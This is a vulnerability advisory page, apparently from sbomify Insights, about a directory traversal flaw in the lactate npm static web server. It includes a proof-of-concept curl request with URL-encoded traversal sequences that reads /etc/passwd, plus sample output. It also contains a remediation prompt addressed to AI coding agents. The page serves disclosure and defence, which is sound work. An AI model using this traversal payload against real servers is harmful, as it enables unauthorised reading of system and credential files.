# GHSA-68gr-cmcp-g3mj: Directory Traversal in lactate

> Remote attackers can read arbitrary files on the host via directory traversal in the lactate web server, exposing sensitive data.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 14 Jun 2019

## What is GHSA-68gr-cmcp-g3mj?

GHSA-68gr-cmcp-g3mj is a path traversal vulnerability in lactate, published on 14 Jun 2019. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.

Mitigating factors:
Only files that the user running `lactate` has permission to read will be accessible via this vulnerability.

[Proof of concept](https://hackerone.com/reports/296645):
Please globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.

The following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:

```
curl "http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
```
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]
```

## Recommendation

As there is currently no fix for this issue selecting an alternative static web server would be the best choice.

## Which versions are affected by GHSA-68gr-cmcp-g3mj?

2 open source packages ship an affected version, including lactate.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `lactate` | npm | All versions to 0.13.12 | None |
| `lactate` | npm | All versions to 0.13.12 | None |

## How do I fix GHSA-68gr-cmcp-g3mj?

No fix has been published for GHSA-68gr-cmcp-g3mj yet. Limit exposure of the affected software until one is available.

## Is GHSA-68gr-cmcp-g3mj being exploited?

There is no known exploitation of GHSA-68gr-cmcp-g3mj in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-68gr-cmcp-g3mj and fix it if it is affected.

What it is: GHSA-68gr-cmcp-g3mj is a path traversal vulnerability in lactate, published on 14 Jun 2019. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-68gr-cmcp-g3mj in the wild and no public exploit code.

Affected packages and fixed versions:
- lactate (npm): affected all versions up to 0.13.12; no fix listed
- lactate (npm): affected all versions up to 0.13.12; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-68gr-cmcp-g3mj/ (Markdown: https://insights.sbomify.com/GHSA-68gr-cmcp-g3mj/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-68gr-cmcp-g3mj

---
From sbomify Insights: https://insights.sbomify.com/GHSA-68gr-cmcp-g3mj/
Summaries are generated and may contain mistakes; the official description above is the record.
